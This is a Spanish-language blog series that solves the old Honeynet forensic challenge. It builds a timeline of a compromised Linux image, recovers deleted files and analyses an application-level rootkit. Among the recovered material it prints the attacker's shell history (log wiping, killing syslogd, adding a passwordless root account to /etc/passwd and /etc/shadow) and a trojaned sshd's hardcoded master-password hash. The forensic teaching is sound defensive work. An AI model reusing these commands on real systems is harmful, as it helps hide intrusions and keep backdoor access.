pre { background:#eeeeee; border:1px solid #A6B0BF; font-size:120%; line-height:100%; overflow:auto; padding:10px; color:#000000 } pre:hover { border:1px solid #efefef; } code { font-size:120%; text-align:left; margin:0;padding:0; color: #000000;} .clear { clear:both; overflow:hidden; }

Bienvenido al blog

Bienvenidos al blog de seguridad en sistemas

lunes, 21 de febrero de 2011

El antiguo reto de la honeynet (III)

Ya por fin llegamos al final del reto. Dentro de la multitud de detalles que me habré dejado y seguramente vosotros habréis descubierto, nos queda comprobar como el posible atacante consigue acceder al servidor.

Recordemos que se creo un par de cuentas que luego fueron eliminadas. ¿Algo raro verdad? Podría tratarse de una escalada de privilegios mediante ficheros suid, pero para ello necesitaría un usuario no privilegiado en el sistema, pero también lo ha borrado. Esto nos indica que seguramente ha instalado algún servicio que le permite autenticarse sin requerir estar en el sistema.

Para averiguar que ha podido ocurrir vamos a revisar de nuevo la líena de tiempo creada con anterioridad. Si analizamos detenidamente la fecha de implantación del RootKit veremos las siguientes entradas:

Wed Nov 08 2000 14:53:12   343586 mac. r/rrwxr-xr-x 0        0        110004   /local/bin/ssh-agent1
                               10 mac. l/lrwxrwxrwx 0        0        110005   /local/bin/ssh-agent -> ssh-agent1
                           337617 mac. r/rrwxr-xr-x 0        0        110006   /local/bin/ssh-add1
                                8 mac. l/lrwxrwxrwx 0        0        110007   /local/bin/ssh-add -> ssh-add1
                            90424 mac. r/rrwxr-xr-x 0        0        110008   /local/bin/scp1
                                4 mac. l/lrwxrwxrwx 0        0        110009   /local/bin/scp -> scp1
                            21228 mac. r/rrwxr-xr-x 0        0        110010   /local/bin/make-ssh-known-hosts1
                               21 mac. l/lrwxrwxrwx 0        0        110011   /local/bin/make-ssh-known-hosts -> make-ssh-known-hosts1
                           643674 m.c. r/rrwxr-xr-x 0        0        33115    /local/sbin/sshd1
                                5 m.c. l/lrwxrwxrwx 0        0        33116    /local/sbin/sshd -> sshd1

Ya con esto nos sobra para despejar dudas. Es lógico que si el atacante requiere un servicio que no está disponible en el sistema lo instale, pero que existiendo el servicio instale uno nuevo añadiendo al nombre del servicio un 1 y que los binarios del servicio original sean ahora simples enlaces dinámicos al servicio añadido por el atacante, nos indica una cosa: el servidor sobreescrito está modificado para permitir la autenticación directa del atacante sin pasar por los métodos tradicionales.

Accedemos al directorio "/reto/mnt/usr/local/bin" y analizamos los ficheros modificados por el atacante. Lo que primero nos llama la atención es el SUID del fichero ssh1. Pero más que el cliente nos interesa ver el servicio que se arranca el ssh ("sshd1") que se encuentra en "/reto/mnt/usr/local/sbin". Una forma sencilla de poder analizar el binario sshd1 es usar de nuevo un srch_strings, aunque lógicamente lo mejor sería usar el gdb, pero esto requeriría varias entradas en el blog. Veamos a continuación que strings nos muestra esto:
#srch_strings -a -td sshd1
...
146880 d33e8f1a6397c6d2efd9a2aae748eb02
...
148316 /usr/tmp/nap
148352 +-[ User Login ]-------------------- --- --- - -
148416 | username: %s password: %s hostname: %s
148480 +----------------------------------- ----- --- -- -- -
...
543582 md5.h
...
550891 md5passwd:(0,30)=ar(0,1);0;32;(0,2)
550927 md:(126,2)
550938 md5buffer:(0,31)=ar(0,1);0;31;(0,11)
...
Me llaman la atención dos cosas, por un lado la primera entrada ya que esa forma de cadena me recuerda a un hash MD5, la segunda el "/usr/tmp/nap" y el trozo de código a continuación. Veamos primero que hay en "/reto/mnt/usr/tmp/nap":
# cat /reto/mnt/usr/tmp/nap
+-[ User Login ]-------------------- --- --- - -
| username: root password: tw1Lightz0ne hostname: c871553-b.jffsn1.mo.home.com
+----------------------------------- ----- --- -- -- -
Lo que nos imaginavamos ¿verdad?, el SSH aparte de supuestamente permitir al atacante autenticarse sin necesidad de tener usuario en el sistema, está registrando los usuarios y contraseñas que acceden al ssh. Apuntamos el usuario y la contraseña. El siguiente paso consistirá en revisar la contraseña del usuario root del entorno para comprobar si se tratan de la misma. Analizando la contraseña de Root del entorno vemos que se trata de un MD5 ($1$) con semilla "eJ2yI2DF" y hash "0cXQKjrEYcYHM/qJu2X6Z". Vamos a usar el john the ripper para comprobar si ese usuario de root es el mismo que el del sistema:
# apt-get install john
# cd /reto/aux/
# echo "tw1Lightz0ne" > passwd
# unshadow /reto/mnt/etc/passwd /reto/mnt/etc/shadow >> patata
# john --wordlist=passwd patata

Loaded 2 password hashes with 2 different salts (FreeBSD MD5 [32/32])
guesses: 0  time: 0:00:00:00 100%  c/s: 200  trying: tw1Lightz0ne
Curiosamente la contraseña guardada no pertenece al usuario root del sistema... Bueno dejemos esto apartado y recordemos el MD5 visto con anterioridad en el binario ssh1. Lo que vamos a ver es que contraseña ha podido generar ese MD5. Se me ocurre una cosa barbara y es que la contraseña guardada en el fichero sea la contraseña del atacante y el registro de contraseña no tenga una comprobación para evitar que la propia contraseña del atacante sea registrada... veamos a ver:
# echo "tw1Lightz0ne" | md5sum -
367d375770a5775c4a63d1862e2fceaf  -
No hay suerte. Algo se escapa... mmm claro, el salto de linea que añade el echo:
# echo -n "tw1Lightz0ne" | md5sum
d33e8f1a6397c6d2efd9a2aae748eb02
Bueno, pues al final el hash que hay en el servicio corresponde con el MD5 que está guardado en el fichero, y por tanto, el propio atacante ha dejado el registro de su acceso en el log de registro del sshd modificado. Podemos apuntar el hostname "c871553-b.jffsn1.mo.home.com" como posible origen del atacante.

Para finalizar con el SSH vamos a comprobar si el servicio se arranca en caso de que el sistema se reinicie, para ello buscaremos en los scripts de arranque:
# grep ":initdefault" /reto/mnt/etc/inittab
id:3:initdefault:
# ls -l /reto/mnt/etc/rc.d/rc3.d/
...
lrwxrwxrwx 1 root root 11 Nov  5  2000 S99local -> ../rc.local
No vemos ningún enlace que identifique al SSH, pero si analizamos todos los enlaces del directorio anterior encontramos que al final el enlace dinámico "S99local", el cual apunta al fichero "rc.local", es el encargado de arrancarlo:
# grep -i ssh /reto/mnt/etc/rc.d/rc.local
/usr/local/sbin/sshd1
Una vez finalizado la manera que tiene el atacante de acceder al servidor, vamos a seguir analizando la línea de tiempo:
314 ..c. r/rrw-r--r-- 0 0 16195 /etc/pam.d/ftp
314 ..c. r/rrw-r--r-- 0 0 16195 /etc/pam.d/ftp-RPMDELETE (deleted-realloc)
8928 ..c. r/rrwxr-xr-x 1 1 17487 /bin/ftpcount
8928 ..c. r/rrwxr-xr-x 1 1 17488 /bin/ftpwho
8928 ..c. r/rrwxr-xr-x 1 1 17488 /bin/ftpwho-RPMDELETE (deleted-realloc)
484 ..c. r/rrw------- 0 0 26548 /etc/ftpaccess
456 ..c. r/rrw------- 0 0 26549 /etc/ftpconversions
39 ..c. r/rrw------- 0 0 26550 /etc/ftpgroups 1
04 ..c. r/rrw------- 0 0 26551 /etc/ftphosts
79 ..c. r/rrw------- 0 0 26552 /etc/ftpusers
180703 ..c. r/rrw-r--r-- 1010 100 109865 /man/.Ci/nfs-utils-0.1.9.1-1.i386.rpm (deleted)

Claramente se ha instalado un servidor FTP y un servidor NFS cuyo propósito es la transferencia sencilla de ficheros por parte del atacante. ¿Aunque teniendo el scp para que usar ftp? No pierdo mucho el tiempo en analizar estos servicios. Seguimos con la línea de tiempo:

Wed Nov 08 2000 14:54:25      547 .a.. r/rrw-r--r-- 0        0        26245    /etc/named.conf
                            33392 .a.. r/rrwxr-xr-x 0        0        30251    /bin/cp
                           525412 .a.. r/rrwxr-xr-x 0        0        33119    /local/sbin/named
                                5 mac. r/rrw-r--r-- 0        0        34293    /run/named.pid
                             2769 .a.. r/rrw-r--r-- 0        0        62498    /named/named.ca
                              422 .a.. r/rrw-r--r-- 0        0        62499    /named/named.local
                           525412 mac. r/rrwxr-xr-x 0        0        92809    /sbin/named

Esto es interesante, se ha instalado un servicio de DNS y es crítico puesto que un DNS puede usarse para una multitud de funciones.

Si seguimos analizando la línea de tiempo veremos como el atacante una vez instalado los servicios indicados con anterioridad elimino las fuentes de instalación:

Wed Nov 08 2000 14:56:08 18698240 ..c. r/rrw-r--r-- 1010     100      109791   /man/.Ci/ssh-1.2.27.tar (deleted)
                             4096 m.c. d/drwxr-xr-x 1010     100      109798   /man/.Ci
                             1153 ..c. r/rrwxr-xr-x 1010     100      109801   /man/.Ci/install-sshd1 (deleted)
                             1076 ..c. r/rrwxr-xr-x 1010     100      109802   /man/.Ci/install-sshd (deleted)
                               80 ..c. r/rrwxr-xr-x 1010     100      109803   /man/.Ci/install-named (deleted)
                              106 ..c. r/rrwxr-xr-x 1010     100      109864   /man/.Ci/install-statd (deleted)
                           180703 ..c. r/rrw-r--r-- 1010     100      109865   /man/.Ci/nfs-utils-0.1.9.1-1.i386.rpm (deleted)
                           195637 ..c. r/rrw-r--r-- 1010     100      109866   /man/.Ci/wuftpd.rpm (deleted)
                               71 ..c. r/rrwxr-xr-x 1010     100      109867   /man/.Ci/install-wu (deleted)
Podemos recuperar las herramientas que uso el atacante aprovechando que el sistema de ficheros es Ext2. Recordar que cuando eliminados ficheros en Ext2, a diferencia de Ext3 y Ext4, los "punteros" (enlaces directos e indirectos) del inodo hacia los bloques no se eliminan. Y por tanto somos capaces de sabiendo el inodo del fichero eliminado, recuperar su contenido, siempre y claro está que el contenido no haya sido sobrescrito por otro fichero. Por ejemplo para el demonio de ssh haríamos:
# istat honeypot.hda5.dd 109791
inode: 109791
Not Allocated
Group: 7
Generation Id: 640190586
uid / gid: 1010 / 100
mode: rrw-r--r--
size: 18698240
num of links: 0
Inode Times:
Accessed: Wed Nov  8 15:52:59 2000
File Modified: Wed Aug  9 21:52:37 2000
Inode Modified: Wed Nov  8 15:56:08 2000
Deleted: Wed Nov  8 15:56:08 2000
Direct Blocks:
238256 238257 238258 238259 ...
Esos datos que se muestran la final del "Direct Blocks" es la diferencia con Ext3/4. En Ext3 o 4 no se mostrarían los números de bloques. Recuperemos el fichero y veamos si contiene las modificaciones en el SSHD vistas con anterioridad:
# icat honeypot.hda5.dd 109791 >> /reto/evidencia/ssh-1.2.27.tar
# ls -l /reto/evidencia/ssh-1.2.27.ta
r
-rw-r--r-- 1 root root 18698240 Feb 18 00:16 /reto/evidencia/ssh-1.2.27.tar
# file /reto/evidencia/ssh-1.2.27.tar
/reto/evidencia/ssh-1.2.27.tar: POSIX tar archive (GNU)
# tar xvf /reto/evidencia/ssh-1.2.27.tar
# grep -R "\[ User Login \]" *

ssh-1.2.27/sshd.c: fprintf(fp,"+-[ User Login ]-------------------- --- --- - -\n");
# grep -R "d33e8f1a6397c6d2efd9a2aae748eb02" *
config.h:#define USE_GLOBAL_PASS "d33e8f1a6397c6d2efd9a2aae748eb02"
Volvamos con la línea de tiempo. Las siguientes entradas que me llaman la atención son las que se encargan de modificar binarios del sistema, lógicamente se trata de los binarios modificados para implantar el Rootkit:
Wed Nov 08 2000 14:56:57     4096 .a.. d/drwxr-xr-x 1010     100      109798   /man/.Ci
Wed Nov 08 2000 14:56:59    35168 ..c. r/rrwx------ 0        0        15639    /bin/chage
                            36756 ..c. r/rrwx------ 0        0        15641    /bin/gpasswd
                            33288 ..c. r/rrwx------ 0        0        15827    /bin/at
                           531516 ..c. r/rrwx------ 0        0        16523    /bin/sperl5.00503
                           531516 ..c. r/rrwx------ 0        0        16523    /bin/suidperl
                             5640 ..c. r/rrwx------ 0        0        17453    /bin/newgrp
                             5760 .a.. r/rrwxr-xr-x 0        0        30288    /bin/sleep
                            17968 ..c. r/rrwx------ 0        0        30293    /bin/ping
                            45388 ..c. r/rrwx------ 0        5        48410    /sbin/dump
                            67788 ..c. r/rrwx------ 0        5        48412    /sbin/restore
                            34751 ..c. r/rrwx------ 0        0        76969    /libexec/pt_chown
                             5896 ..c. r/rrwx------ 0        0        93297    /sbin/usernetctl
                            16488 ..c. r/rrwx------ 0        1        93846    /sbin/traceroute
Ya para finalizar vemos algo raro y que no esperaba, el "bash_history" y el home de Drosen se han creado durante los 15 minutos donde se implanto el Rootkit:
Wed Nov 08 2000 14:59:07 4096 m.c. d/drwx------ 500 500 15395 /drosen
                                           52 mac. r/rrw------- 500 500 15401 /drosen/.bash_history
Esto requiere contradecir lo expuesto con anterioridad, es muy posible que el usuario Drosen no sea tan legítimo como habíamos pensado primeramente.Vamos a proceder por ello a un análisis lógico del contenido del sistema de fichero para ver si podemos obtener más información de la intrusión:
# cat /reto/mnt/home/drosen/.bash_history
gunzip *
tar -xvf *
rm tpack*
cd " "
./install
exi
t
Nos hemos dejado algo en el análisis forense. El acceso a un directorio cuyo contenido es el espacio en blanco es una técnica bastante conocido de intentar ocultar información dentro de un directorio (junto con la ". " o ".. "). Vemos que descomprime un fichero, elimina el fichero, accede al directorio en blanco, instala algo y por último cierra la sesión... No es un comportamiento muy normal:
# cat /reto/mnt/etc/passwd | grep drosen | awk -F':' {'print $3'}
500
# find /reto/mnt/home/drosen/ -type f -uid 500 2> /dev/null
(no sale nada interesante)
Veamos a ver si encontramos algo que coincida con tpack:
# find /reto/mnt/ -type f -iname "*tpack*"
(No hay suerte)
Llegado a este punto, podría decir que no se que fichero instalo el usuario :(.

Como análisis superficial del incidente podemos tener una estimación de cuando se hizo, como se hizo, que se implanto en el servidor, como se conectaba el atacante al equipo y como intento el atacante ocultar sus huellas.

Para finalizar la entrada quiero indicar que aunque normalmente se emplea en cualquier análisis forense, debido a la antigüedad de este reto, me ha sido imposible usar uno de mis packs de herramientas favoritas: foremost, sorter, md5depp y hfind. El objetivo de estos es generar una lista blanca a partir de un entorno no comprometido con una configuración similar, lo que nos permitirá eliminar supuestos, y  adicionálmente combinarlo con una lista negra de malware, permitiendo reducir drásticamente los ficheros a tratar.

Espero que os haya gustado. Nos vemos en la próxima entrada. 

Continuar...

lunes, 14 de febrero de 2011

El antiguo reto de la honeynet (II)

Buenas de nuevo, vamos a empezar con el reto. Lo primero que suelo hacer una vez obtenido los datos iniciales (vistos en la anterior entrada) es crearme una línea de tiempo a nivel de sistemas de ficheros y luego le sumo los datos obtenidos con la lógica que contiene el sistema de ficheros... Seguramente os estaréis preguntando que es eso de la lógica que contiene el sistema de ficheros, es lo que normalmente se denomina "artifacts". Por ejemplo un fichero ejecutable cuyo dueño ya no existe en el sistema pero el fichero sigue existiendo, un usuario creado con permisos de administración, shellbags, etc.

Comencemos obteniendo la linea de tiempos del sistema de ficheros. Para ello nos crearemos un directorio, volcaremos la línea de tiempo con la herramienta "fls", unificaremos los datos con un "cat" para finalizar traduciendo y ordenando con "mactime". Es importante recordar que se nos indico que la hora del sistema era GMT+6 y este dato deberá ser introducido a la herramienta mactime. Por ello debemos obtener el timezone correspondiente a GMT+6, por ejemplo de esta web. Con el timezone ya podemos ejecutar las ordenes necesarias para obtener la línea de tiempo:
# mkdir /reto/carving/timeline
# for i in `ls honeypot.hda*`; do fls -rp -m / $i > /reto/carving/timeline/$i; done
# cd /reto/carving/timeline

# cat * >> timeline
# mactime -z CST -b timeline >> lineaTiemp
o
Una vez obtenida tenemos que estudiar el fichero lineaTiempo muy a fondo. Es importante recordar la fecha del incidente y buscar ficheros cuyos metadatos y datos hayan sido modificados. Pese a que el atacante haya usado el herramientas como wipe, srm, touch para borrar sin rastro o cambiar la fecha, es muy complicado que modifique todos los ficheros y directorios a los que ha tenido acceso. Recordemos que el incidente fue a las 23:11 del 7 de noviembre de 2000.

Para analizar la linea de tiempo es necesario entender un poco que se muestra en el fichero lineaTiempo. Cada línea indica un fichero y están ordenada por fecha, de más antiguos a menos. La línea tienen una serie de columnas que identifican de izquierda a derecha: la fecha, el tamaño, MACB, permisos, UID, GID, número de inodo (importantísimo) y nombre del fichero.

Teniendo en cuenta que el ataque fue realizado el 7 de noviembre por la noche, tenemos que buscar modificaciones realizadas por esa fecha. Analizando la línea de tiempo vemos que el 8 de noviembre, unas horas después de detectar el exploit, se han modificado ciertos ficheros algo sospechoso, principalmente me llama la atención lo siguiente:

Wed Nov 08 2000 14:25:53 2836 .a.. r/rr-xr-xr-x 0 0 17088 /bin/uptime
Wed Nov 08 2000 14:26:15 0 m.c. r/rrw-r--r-- 0 0 26217 /etc/hosts.deny
Wed Nov 08 2000 14:26:51 1024 .a.. d/drwxr-xr-x 0 0 62497 /etc/rc.d/init.d
Wed Nov 08 2000 14:29:27 63728 .a.. r/rrwxr-xr-x 0 0 16125 /bin/ftp
Wed Nov 08 2000 14:33:42 1024 .a.. d/drwx------ 2 2 58465 /spool/at
Wed Nov 08 2000 14:45:18 161 .a.. r/rrw-r--r-- 0 0 26216 /etc/hosts.allow
                                                   0 .a.. r/rrw-r--r-- 0 0 26217 /etc/hosts.deny
                                           31376 .a.. -/rrwxr-xr-x 0 0 93839 /$OrphanFiles/OrphanFile-93839 (deleted)
Wed Nov 08 2000 14:45:19 63 .a.. r/rrw-r--r-- 0 0 26573 /etc/issue.net
Wed Nov 08 2000 14:45:24 1504 .a.. r/rrw-r--r-- 0 0 18147 /etc/security/console.perms
Wed Nov 08 2000 14:51:37 2129920 m... -/rrw-r--r-- 500 500 8133 /$OrphanFiles/OrphanFile-8133 (deleted)
                                                      5324 .a.. r/rrwxr-xr-x 1010 100 109808 /man/.Ci/sp.pl
                                                  132785 .a.. r/rrwxr-xr-x 1010 100 109809 /man/.Ci/qs
                                                  350996 .a.. r/rrwxr-xr-x 1010 100 109812 /man/.Ci/syslogd
...
Wed Nov 08 2000 14:52:09 9 m.c. l/lrwxrwxrwx 0 0 23 /.bash_history -> /dev/null
                                               9 m.c. l/lrwxrwxrwx 0 0 46636 /root/.bash_history -> /dev/null
(Y un ejercito de ficheros huérfanos...)
¿Os acordais de las tablas realizadas en la primera entrada? si las consultamos obtenemos que m-c corresponde a la modificación del contenido del fichero. Si analizamos que ficheros han sido modificados obtenemos que "/etc/hosts.deny" y los history han sido modificados. Por un lado tenemos el típico enlace dinámico del bash_history al /dev/null para evitar que registre (¿porque no usar unset HISTFILE que canta menos? el atacante sabrá...), por otro lado tenemos que el hosts.deny ha sido modificado, con lo que probablemente se habrá eliminado alguna restricción de conexión con otros hosts (estaría bien tener acceso a las copias de seguridad previas al incidente para ver la configuración del fichero). También llama la atención el directorio "/man/.Ci", apuntamos para repasar. 

A su vez, vemos que existe un fichero huérfano, es decir, fichero eliminado cuyo padre también ha sido eliminado, que indica que el propietario es el usuario 500. Apuntamos. 

Es importante revisar si el usuario existe en /etc/passwd. Por otro lado fijaros, el enlace dinámico a /dev/null ha sido realizado después de eliminar el fichero, por tanto es posible que contengamos las ordenes ejecutadas en el bash_history en los bloques libres (datos donde el fichero ha sido "eliminado", el bloque asignado como libre, pero la información no ha sido eliminada).

Vamos a obtener los bloques, en crudo o raw, no asignados a ningún inodo, y por tanto, los bloques libres con el objetivo de buscar en ellos ordenes, firmas de malware o cierto tipos de documentos. Para ello primeramente nos crearemos el directorio "/reto/carving/unallocated", y estando en el directorio "/reto/dd" volcaremos los bloques sin asignar en el directorio unallocated:
# mkdir /reto/carving/unallocated
# for i in `ls honeypot.hda*`; do blkls -f ext2 $i > ../carving/unallocated/$i; done
Ahora ya tenemos los bloques libres, veamos a ver si encontramos alguna orden referente a los bash_history o host.deny. Para ello nos creamos un fichero en /reto/etc/ficheros que contenga ficheros que vamos a ir necesitando para el caso:
# echo "bash_history" > /reto/etc/ficheros
# echo "hosts.deny" >> /reto/etc/ficheros
# cd /reto/carving/unallocated
# srch_strings -a -td -5 * | grep -i -f /reto/etc/ficheros

 723938826 rm -rf /root/.bash_history
 723938853 ln -s /dev/null /root/.bash_history
 723938889 rm -rf /.bash_history
 723938911 ln -s /dev/null /.bash_history
 723938942 rm -rf ~games/.bash_history
...
  32494603 chmod a-w ~/.bash_history
  92321290 rm -rf /root/.bash_history
  92321317 ln -s /dev/null /root/.bash_history
...
  92321564 ln -s /dev/null /usr/games/.bash_history
 211349515 chmod a-w ~/.bash_history
...
 160623032 rm -rf /etc/hosts.deny
 160623055 touch /etc/hosts.deny
 212043412 @@contents /etc/hosts.deny 8
A razón de los resultados anteriores, vemos claramente la orden de eliminación del fichero hosts.deny, así como la creación con posterioridad. Lo mismo para los bash_history. Con lo anterior sacamos la conclusión de que a las 14:26:15 del miércoles 8 de noviembr el fichero hosts.deny fue modificado y a las Wed Nov 08 2000 14:52:09 se borro las huellas del history. Se podría intentar sacar el contenido antiguo del fichero hosts.deny intentando pensar que texto podría contener. Si pensamos detenidamente  un tag típico sería el ALL por lo que con la orden:
# srch_strings -a -td -3 * | grep "ALL:"
Se podría obtener la línea del bloque donde se encuentra la información, pero en este caso, no da resultados. Ahora nos toca analizar más detenidamente la línea donde se ilustra la eliminación del fichero hosts.deny "160623032 rm -rf /etc/hosts.deny". Bien ese 160623032 identifica el byte donde la cadena fue encontrada. Como sabemos el tamaño del bloque es 1024 por tanto dividímos los 160623032 entre 1024 y nos quedamos con la parte entera, es decir, 156858. Bien ahora pensemos, estamos analizando los bloques libres de una imagen raw, por tanto necesitamos saber que bloque real ocupa el bloque libre 156858 en la imagen completa, para ello usamos blkcalc:
# blkcalc /reto/dd/honeypot.hda8.dd -u 156858
188701
Ahora ya sabemos que el bloque de la imagen completa está la orden "rm -rf /etc/hosts.deny", veamos ahora el contenido del bloque, el cual debería corresponder con la parte del fichero "bash_history" que intento ocultar el atacante:
# blkcat /reto/dd/honeypot.hda8.dd 188701
...
exit
uptime
rm -rf /etc/hosts.deny
touch /etc/hosts.deny
rm -rf /var/log/wtmp
touch /var/log/wtmp
killall -9 klogd
killall -9 syslogd
rm -rf /etc/rc.d/init.d/*log*
echo own:x:0:0::/root:/bin/bash >> /etc/passwd
echo adm1:x:5000:5000:Tech Admin:/tmp:/bin/bash >> /etc/passwd
echo own::10865:0:99999:7:-1:-1:134538460 >> /etc/shadow
echo adm1:Yi2yCGHo0wOwg:10884:0:99999:7:-1:-1:134538412 >> /etc/shadow
cat /etc/inetd.conf | grep tel
exit
Efectivamente vemos que se trata del bash_history real, donde por un lado se ha hecho una purga de los logs y de los demonios que lo generan. Por otro lado se han creado dos usuarios, "own" y "adm1". El primero con privilegios de root y el segundo con uid 5000. Con esto  queda demostrado que el equipo ha sido comprometido.

El siguiente paso es comprobar que acciones adicionales han sido llevadas a cabo por el atacante y que utilidad estaba obteniendo éste del servidor. Para ello vamos a montar el entorno en forma de solo lectura y comenzar a comprobar las huellas obtenidas con anterioridad del sistema de ficheros:
  • ¿Initd sigue teniendo la puerta trasera?
  • Usuario 500, ¿quien es?
  • ¿Usuario own existe?
  • ¿Usuario adm1 (5000) existe?
  • ¿Que hay en el directorio /man/.Ci"
Par montar el sistema de ficheros me he creado una script de forma que ejecutándolo monte o desmonte el sistema. Lo he creado en el directorio "/reto/dd" con nombre montar.sh y posteriormente le he asignado permisos de ejecución:
# touch /reto/dd/montar.sh
# chmod u+x /reto/dd/montar.sh
# vim  
/reto/dd/montar.sh
#!/bin/bash --
if [ "$1" == "1" ];
then
 /bin/mount -o loop,ro,noatime,noexec /reto/dd/honeypot.hda8.dd /reto/mnt/
 /bin/mount -o loop,ro,noatime,noexec /reto/dd/honeypot.hda1.dd /reto/mnt/boot/
 /bin/mount -o loop,ro,noatime,noexec /reto/dd/honeypot.hda6.dd /reto/mnt/home/
 /bin/mount -o loop,ro,noatime,noexec /reto/dd/honeypot.hda5.dd /reto/mnt/usr/
 /bin/mount -o loop,ro,noatime,noexec /reto/dd/honeypot.hda7.dd /reto/mnt/var/
else
 /bin/umount /reto/mnt/boot/
 /bin/umount /reto/mnt/usr/
 /bin/umount /reto/mnt/var/
 /bin/umount /reto/mnt/home/
 /bin/umount /reto/mnt/
fi
De esta forma ejecutando "/reto/dd/montar.sh 1" monto el entorno y con "/reto/dd/montar.sh 0" lo desmonto. Así que ya sabéis, a montar el entorno toca:
# /reto/dd/montar.sh 1
Una vez montado comprobamos las consultas anteriores:

  • Las modificaciones en el servicio inetd durante el ataque no existe.
  • El usuario 500 es Drosen y existía antes del ataque. 
  • El usuario own y adm1 no existen.
  • El directorio /man/.Ci existe:
# find /reto/mnt/ -type d -name ".Ci"
/reto/mnt/usr/man/.Ci
El siguiente paso consistirá en analizar el directorio "/reto/mnt/usr/man/.Ci" para revisar que hay dentro y nos encontramos una jungla:

# ls /reto/mnt/usr/man/.Ci
addn   backup  chmod-it  do    fix    killall  paki    q   rmS   snap  sniff.pid  syslogd
a.sh  addps  bx      clean     find  inetd  needz    pstree  qs  scan  snif  sp.pl      tcp.log
Empleemos con los ficheros anteriores la herramienta "file" que me permite clasificar los ficheros:
# file * | grep -v ELF | grep -v directory
a.sh: ASCII text
addps: POSIX shell script text executable
chmod-it: ASCII text
clean: ASCII text
do: ASCII text
needz: POSIX shell script text executable
rmS: POSIX shell script text executable
snap: POSIX shell script text executable
sniff.pid: ASCII text
sp.pl: a /usr/bin/perl script text executable
tcp.log: empty
Veamos que contiene los ficheros:

  • El fichero "a.sh" contiene la eliminación de binarios y parada de los servicios de esos binarios, todo apunta a que esto es el paso previo a la implantación de un RootKit a nivel de aplicación (porque como sea a nivel de núcleo jodido lo llevamos).
  • El fichero "addps" introduce en el fichero "/dev/ptyp" procesos, que según indica la propia documentación, se quieren ocultar. Al mostrar el contenido del fichero vemos lo siguiente:
...
2 snif
2 pscan
2 slice2
2 snif
2 pscan
2 telnet
2 x
2 xscan
2 ssh
...
  • El fichero "needz" muestra la dirección web de las herramienta pico y screen.
  • El fichero "rmS" elimina paquetes de software "ssh", "wuftpd" y "nfs".
  • El fichero "sp.pl" es un script en perl que levanta el sniffer "LinSniffer", que escucha en una serie de puertos donde los password se transmiten en claro. Existe también un fichero Sniff.pid que contiene un número, que todo apunta a que se trata del PID del proceso, y por tanto, podemos creer que el sniffer llego a ejecutarse... 
  • El fichero "tcp.log" está vació. 
  • El fichero "do" contiene la eliminación de los usuarios "own" y "adm1" que encontramos buscando en las zonas del sistema de ficheros libres. Por tanto ya sabemos a ciencia cierta que el atacante creo dos usuarios, uno de ellos root, y que posteriormente los elimino, es decir, ha conseguido acceso a la máquina sin necesitar usuarios en el entorno. 
  • El fichero "chmod" cambia permisos a varios binarios volviéndolos igual o más restrictivos que de serie en la distribución. Esto huele cada vez más a rootkit a nivel de aplicación. 
  • El fichero "clean" ejecuta el fichero "snap" introduciéndole varias opciones. Ahora veremos que contiene "snap".
  • El fichero "snap" es una shell en bash que dado una palabra quita todo rastro de esa palabra en los logs.

En cuanto a los directorios tenemos "backup", "paki" y "scan". 
  • El directorio "backup" contiene los binarios de archivos importantes como ifconfig, ps o ls. He realizado una simple comprobación para ver si los binarios que están en backup son los mismos que los que tiene instalados el servidor, pero no, difieren:
# md5sum backup/ls ../../../bin/ls
5ec59b9c05706b4ce65adf44d0d3ab24  backup/ls
06be0dbe8e41a0266eeeeeb1c1b4c818  ../../../bin/ls
  • El directorio "paki" contiene dos herramientas. La primera es el código del stream y la segunda es slice2 indicadas para la generación de DoS.
  • El directorio "scan" contiene un gran número de ficheros cuyo objetivo es escanear host de la red y intentar ejecutar exploits sobre la máquina y crear puertas traseras. Si analizamos el código del "amd" vemos que intenta explotar vulnerabilidades en el RPC. Curiosamente es la misma vulnerabilidad con que ha sido comprometido el servidor.
En definitiva se trata de un RootKit a nivel de aplicación que permite mantener el control de la máquina, sniffar el tráfico de esta, atacar otras máquinas, ocultar huellas, ocultar procesos, etc. Buscando un poco por internet por si fuera un RootKit conocido he encontrado esta entrada que detalla bastante bien el RootKit. 

El último paso a llevar a cabo es comprobar como consigue el atacante conectar a la máquina. Acordaros que hemos visto ficheros que borraban los instaladores de varios servicios. Lo más recomendado es volver a la línea de tiempo por si pudiera proporcionarlos un poco más de información. Pero esto ya en la siguiente entrada. 


Continuar...

sábado, 12 de febrero de 2011

El antiguo reto de la honeynet (I)


Como primera entrada real en el blog trataré el reto de análisis forense de la honeynet. Aunque antiguo, es la base de un análisis forense en un entorno Linux y creo que se pueden aprender muchas cosas. Existe una infinidad de soluciones tanto en blogs como en libros sobre la resolución del reto. En mi caso voy a seguir los pasos que di para la resolución de éste.


Preparando el entorno del reto:

Para ello comenzaremos montando una máquina virtual Linux. Primero instalaremos en el equipo anfitrión  VirtualBox en su versión 4. A su vez nos descargaremos una imagen ISO de una distribución Linux. En mi caso he usado la Ubuntu 10.04. puesto que ya la tenia descargada. Una vez tengamos creada la máquina virtual instalaremos las LinuxAdditions.


Deberemos instalar, ya sea mediante fuentes o mediante repositorio, los siguientes programas:
sleuthkit, foremost, mount, xxd, sorter, wget, md5sum y un editor ( gedit, kate, kwrite, vim, nano, ...).

Para finalizar nos creamos unos directorios donde gestionar el reto:
# mkdir /reto /reto/dd /reto/evidencia /reto/carving /reto/etc /reto/mnt /reto/aux

Obtenemos el reto:

Ahora ya disponemos de una máquina virtual donde desarrollar el reto. ¡Comencemos!.

Accedemos a la página web del reto y leemos toda la información que se nos proporciona. Una vez leía nos descargamos las fuentes desde la máquina virtual en el directorio "/reto/dd" con la siguiente orden:
# wget http://old.honeynet.org/misc/files/challenge-images.tar
Comprobamos que el fichero se ha descargado correctamente:
# md5sum challenge-images.tar
603978c7a4f4252654df13010a6f5090  challenge-images.tar
Nos da el mismo valor que el que indica en la web.

Desempaquetamos el fichero:
# tar xvf challenge-images.tar 
Junto con una serie de imagenes comprimidas, tenemos un fichero readme que contiene la información del punto de montaje de las imagenes y del hash md5 (que habrá que comprobarlo), tanto de las imagenes comprimidas(dd.gz) como el raw (dd).

Descomprimimos las imagenes:
# gunzip honeypot.hda*
Comprobamos que el valor del md5 es el mismo que el del readme:
# for i in `ls honeypot*`; do DATO=`md5sum $i | awk {'print $1'}`; if [ `grep $DATO readme | wc -l` == 0 ]; then echo "ERROR: $i"; fi; done
Si no nos muestra un mensaje de error es que todo ha funcionado correctamente. El último paso consistirá en moveré el fichero readme al directorio /reto/etc. Recordar que las imagenes (dd) deben de estar en el directorio /reto/dd.


Logs de la sonda de detección de intrusos:

